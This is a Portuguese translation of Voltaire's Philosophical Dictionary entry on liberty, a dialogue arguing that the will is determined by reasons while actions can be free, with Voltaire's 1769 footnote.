Dicionário Filosófico de Voltaire – verbetes selecionados
Da LIBERDADE
(Dois Interlocutores)
A — Eis uma bateria de canhões que dispara aos nossos ouvidos; tens a liberdade de ouvi-la ou deixar de ouvi-la?
B — Decerto que não.
A — Gostarias que esse canhão te levasse a cabeça, a de tua mulher e de tua filha, que passeiam contigo?
B — Que pergunta tão absurda! Como podia eu, em meu são juízo, desejar tal coisa? Impossível!
A — Muito bem. Ouves necessariamente o canhão e também necessariamente não queres morrer, nem tu, nem tua família, de um tiro de canhão, não é verdade? Não tens, pois, o poder de deixar de ouvir, nem de querer permanecer aqui?
B — Evidentemente9.
A — Por consequência, andaste trinta passos para te colocares ao abrigo do canhão; tiveste, pois, o poder de caminhar comigo esses poucos passos, não é assim?
B — É claro.
A — E, se fosses paralítico, podias evitar o perigo da bateria? Terias poder bastante para estar onde estás? Não terias recebido necessariamente um tiro de canhão e não estarias necessariamente morto?
B — Quem o duvida?
A — Em que consiste, pois, a tua liberdade, se não está no poder do teu ser individual fazer o que exige a tua vontade como uma necessidade absoluta?
B — Confundes-me. Então a liberdade não é o poder que cu tenho de fazer o que melhor me pareça?
A — Reflecte ura pouco e vê se a liberdade não pode ser entendida de outra maneira.
B — Nesse caso, meu cão de caça é tão livre como eu; tem necessariamente a vontade de correr quando avista uma lebre, e o poder de correr se tiver as pernas sãs. Em nada sou superior ao meu cão. Queres reduzir-me ao estado de besta?
A — Eis os pobres sofismas dos pobres sofistas que te instruíram. Eis-te aí despeitado por seres livre como o teu cão! Julgas que não te pareces com o teu cão em muitas coisas? Não sentes, como ele, a fome, a sede, o mal de velar e a necessidade de dormir, os cinco sentidos? Gostarias de ter o olfacto por outro órgão, e não pelo nariz? Por que queres ter a liberdade que ele não tem?
9 Um pobre de espírito, num pequeno escrito de boa fé, correcto e sobretudo bem raciocinado, objecta que, se o príncipe ordenar a B. que se exponha ao alcance do canbão, ele obedecerá. Sim, é certo, se tiver mais coragem, ou melhor, mais medo da desonra do que amor à vida, como às vezes acontece. Trata-se aqui, primeiro, de um caso completamente diferente. E, segundo, quando o instinto do medo da desonra prevalece sobre o instinto da conservação, o homem sente a mesma necessidade de ficar exposto ao canhão como de fugir, quando não tem vergonha de fugir. O pobre de espírito não pode deixar de fazer objecções ridículas nem de injuriar, como os filósofos de se rir um pouco dele e de lhe perdoar (Nota de Voltaire, de 1769).
B — Possuo um espírito que discorre muito bem, e o meu cão não discorre nada. Tem apenas ideias simples, e eu mil ideias metafísicas.
A — Pois bem, tu és mil vezes mais livre do que ele, isto é, tens mil vezes mais poder de pensar do que ele, mas só nisso, e em nada mais, é que és mais livre.
B — Como? Não sou então livre de querer o que quero?
A — Que entendes tu por isso?
B — O que todos entendem. Não se está sempre dizendo: "As vontades são livres"?
A — Um provérbio não é uma razão. Explica-te melhor.
B — Entendo que sou livre de querer o que melhor me apeteça.
A — Perdão! Isso não tem sentido. Não vês que é ridículo dizer: "Eu quero querer"? Queres, pois, necessariamente ideias que se te apresentam. Queres casar, sim ou não?
B — E se eu te dissesse que nem uma coisa nem outra?
A — Estarias respondendo como aquele que dizia: "Uns acreditam que o cardeal Mazarino morreu, outros que está vivo, e eu nem uma coisa nem outra".
B — Bem, quero casar-me.
A — Ah! Isso já é uma resposta. E por que queres tu casar?
B — Porque estou enamorado de uma moça, bela, educada, bastante rica, que canta muito bem, filha de pais honestos, porque me orgulho de ser amado por ela e muito bem acolhido por sua família.
A — É uma razão. Repara que não podes querer sem razão. Concordo em que és livre de te casar, isto é, que tens o poder de assinar o contrato.
B — Como! Não posso querer sem razão? E então aquele provérbio que diz: Sit pro ratione voluntas: minha vontade é a minha razão, quero porque quero?
A — Isso é um absurdo, meu caro amigo. Haveria em ti um efeito sem causa.
B — O quê? Quando jogo par ou ímpar, tenho alguma razão para escolher par em vez de ímpar? A — É claro que tens. B — E que razão é essa, por favor?
A — É que a ideia de par se apresenta antes a teu espírito do que a oposta. Seria divertido que, em alguns casos, quisesses porque havia uma causa para quereres, e noutros, sem causa alguma. Quando te queres casar, existe uma razão dominante para assim quereres, evidentemente; mas não a sentes quando jogas par ou ímpar, e, no entanto, essa causa existe.
B — Pela última vez, não sou, pois, livre?
A — Tua vontade não é livre, mas tuas acções, sim. És livre de fazer quando tiveres o poder de fazer.
B — Mas todos os livros que li sobre a liberdade de indiferença. ..
A — São tolices. Não existe liberdade de indiferença. É uma palavra sem sentido, inventada por pessoas que também não o possuem.
Fonte: Voltaire, Clássicos Jackson. Trad. De Brito Broca
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